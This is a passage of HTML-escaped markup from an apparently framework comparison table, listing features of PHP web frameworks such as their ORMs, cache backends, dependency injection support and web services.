id=&quot;v53_15&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;CLI&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v54_15&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v55_15&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;CLI&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v56_15&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;CLI&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v57_15&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v58_15&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;Mkbuilder: générateur Web&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v59_15&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;Discouraged, use advanced configuration via dependency injection
instead&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v60_15&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;has built in Openbiz Appbuilder&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v61_15&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v62_15&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v63_15&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v64_15&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v65_15&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v66_15&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v67_15&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;CLI&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v68_15&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;Yii CLI, Gii (Web based)&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v69_15&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v70_15&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;Module Studio&lt;/td&gt;&lt;/tr&gt;
&lt;tr class=&quot;odd&quot;&gt;&lt;th class=&quot;&quot; id=&quot;v16_1&quot; title=&quot;Object-relational mapping&quot;&gt;&lt;dfn class=&quot;l&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;r&quot;&gt;&lt;/dfn&gt;&lt;br /&gt;
&lt;div class=&quot;actions&quot;&gt;
&lt;dfn class=&quot;move&quot; title=&quot;Drag-and-drop to reorganize rows or columns&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;scHide action scact-50 sca-v16_1-e&quot; title=&quot;Hide&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;suggest action scact-52 sca-v16_1-e&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;sort action scact-51 sca-v16_1-e&quot; title=&quot;sort&quot;&gt;&lt;/dfn&gt;&lt;/div&gt;
ORM&lt;/th&gt;&lt;td class=&quot;&quot; id=&quot;v45_16&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;Custom (Support for Joins, Expressions, Actions, Conditions,
Subselects, PDO-based)&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v46_16&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v47_16&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;Custom&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v48_16&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;CCF ORM - DB\Model&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v49_16&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;ActiveRecord&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v50_16&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;ActiveRecord&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v51_16&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;Axon (SQL), M2 (MongoDB), and Jig (flat files)&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v52_16&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;Custom&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v53_16&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;Data Access Object (DAO)&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v54_16&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;Custom&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v55_16&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;ELOQUENT ORM&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v56_16&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;ELOQUENT ORM&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v57_16&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;Third party. Doctrine, Propel ...&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v58_16&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;Custom possibilité facilement d&#39;utiliser un autre (doctrine par
exemple)&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v59_16&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;TDBM or Doctrine&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v60_16&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;Supported Metadata Level ORM&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v61_16&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v62_16&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;PHPixie ORM&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v63_16&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;Doctrine&lt;br /&gt;
Propel2&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v64_16&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v65_16&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v66_16&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v67_16&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;Doctrine 2, Propel&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v68_16&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;Database Access Objects (DAO), Active Record (AR)&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v69_16&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v70_16&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;Doctrine&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;th class=&quot;&quot; id=&quot;v17_1&quot;&gt;&lt;dfn class=&quot;l&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;r&quot;&gt;&lt;/dfn&gt;&lt;br /&gt;
&lt;div class=&quot;actions&quot;&gt;
&lt;dfn class=&quot;move&quot; title=&quot;Drag-and-drop to reorganize rows or columns&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;scHide action scact-50 sca-v17_1-e&quot; title=&quot;Hide&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;suggest action scact-52 sca-v17_1-e&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;sort action scact-51 sca-v17_1-e&quot; title=&quot;sort&quot;&gt;&lt;/dfn&gt;&lt;/div&gt;
Cache storage&lt;/th&gt;&lt;td class=&quot;&quot; id=&quot;v45_17&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;Extensible (Provided Session, Arrays)&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v46_17&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v47_17&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;Memcache, APC File, APC, Memcache, Redis&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v48_17&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v49_17&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;File, apc, memcached, xcache&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v50_17&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;File, apc, memcached, xcache&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v51_17&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;APC, xCache, WinCache, Memcache, Filesystem, Shared memory&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v52_17&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;File, Redis, Memcache, APC&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v53_17&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;File, APC, Memcache, Redis&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v54_17&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;APC,&lt;br /&gt;
File,&lt;br /&gt;
Memcached,&lt;br /&gt;
Memcached-tags,&lt;br /&gt;
SQLite,&lt;br /&gt;
Wincache&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v55_17&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;File System, Database, Memcached, APC, Redis, Xcache, WinCache,
Memory (Arrays)&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v56_17&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;File System, Database, Memcached, APC, Redis, Xcache, WinCache,
Memory (Arrays)&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v57_17&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;APC,&lt;br /&gt;
File,&lt;br /&gt;
Memcache / Memcached,&lt;br /&gt;
Memory,&lt;br /&gt;
Redis,&lt;br /&gt;
SQLite,&lt;br /&gt;
XCache,&lt;br /&gt;
ZendDisk,&lt;br /&gt;
ZendMemory,&lt;br /&gt;
WinCache&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v58_17&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;cache html de page complète et/ou de &quot;zones&quot;/&quot;modules&quot; du site&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v59_17&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;APC, File, Memcache, Memory, or any Doctrine Cache implementation&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v60_17&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;Based on Zend_Cache&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v61_17&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v62_17&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v63_17&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;APC&lt;br /&gt;
Redis&lt;br /&gt;
File&lt;br /&gt;
Memcached&lt;br /&gt;
XCache&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v64_17&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v65_17&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v66_17&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;APC,&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Memcache,&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
XCache&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v67_17&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;APC,&lt;br /&gt;
eAccelerator,&lt;br /&gt;
XCache&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v68_17&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;APC,&lt;br /&gt;
Database,&lt;br /&gt;
eAccelerator,&lt;br /&gt;
File,&lt;br /&gt;
Memcache,&lt;br /&gt;
WinCache,&lt;br /&gt;
XCache,&lt;br /&gt;
ZendPlatform&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v69_17&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v70_17&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr class=&quot;odd&quot;&gt;&lt;th class=&quot;&quot; id=&quot;v18_1&quot;&gt;&lt;dfn class=&quot;l&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;r&quot;&gt;&lt;/dfn&gt;&lt;br /&gt;
&lt;div class=&quot;actions&quot;&gt;
&lt;dfn class=&quot;move&quot; title=&quot;Drag-and-drop to reorganize rows or columns&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;scHide action scact-50 sca-v18_1-e&quot; title=&quot;Hide&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;suggest action scact-52 sca-v18_1-e&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;sort action scact-51 sca-v18_1-e&quot; title=&quot;sort&quot;&gt;&lt;/dfn&gt;&lt;/div&gt;
Dependency injection container&lt;/th&gt;&lt;td class=&quot;&quot; id=&quot;v45_18&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v46_18&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v47_18&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v48_18&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v49_18&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v50_18&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v51_18&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v52_18&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v53_18&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v54_18&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v55_18&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;b class=&quot;scYes&quot;&gt;Yes&lt;/b&gt; With autowiring&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v56_18&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;b class=&quot;scYes&quot;&gt;Yes&lt;/b&gt; With autowiring&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v57_18&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v58_18&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v59_18&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;b class=&quot;scYes&quot;&gt;Yes&lt;/b&gt; With graphical interface, compatible with ContainerInterop&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v60_18&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v61_18&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v62_18&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v63_18&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v64_18&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v65_18&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v66_18&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v67_18&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;b class=&quot;scYes&quot;&gt;Yes&lt;/b&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v68_18&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v69_18&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;b class=&quot;scYes&quot;&gt;Yes&lt;/b&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v70_18&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;th class=&quot;&quot; id=&quot;v19_1&quot;&gt;&lt;dfn class=&quot;l&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;r&quot;&gt;&lt;/dfn&gt;&lt;br /&gt;
&lt;div class=&quot;actions&quot;&gt;
&lt;dfn class=&quot;move&quot; title=&quot;Drag-and-drop to reorganize rows or columns&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;scHide action scact-50 sca-v19_1-e&quot; title=&quot;Hide&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;suggest action scact-52 sca-v19_1-e&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;sort action scact-51 sca-v19_1-e&quot; title=&quot;sort&quot;&gt;&lt;/dfn&gt;&lt;/div&gt;
Services&lt;/th&gt;&lt;td class=&quot;&quot; id=&quot;v45_19&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;Integrated with packagist.org&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v46_19&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v47_19&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;Third party&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v48_19&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v49_19&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;XML-RPC&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v50_19&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;XML-RPC&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v51_19&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;OpenID, Twitter, Google, Yahoo, Akismet, XML-RPC, SOAP, Pingback&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v52_19&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v53_19&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;XML-RPC and many others provided on booster.jelix.org&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v54_19&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v55_19&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v56_19&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v57_19&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v58_19&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v59_19&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v60_19&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;WebServices&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v61_19&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v62_19&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v63_19&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;All ZF components&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v64_19&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v65_19&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v66_19&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v67_19&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; 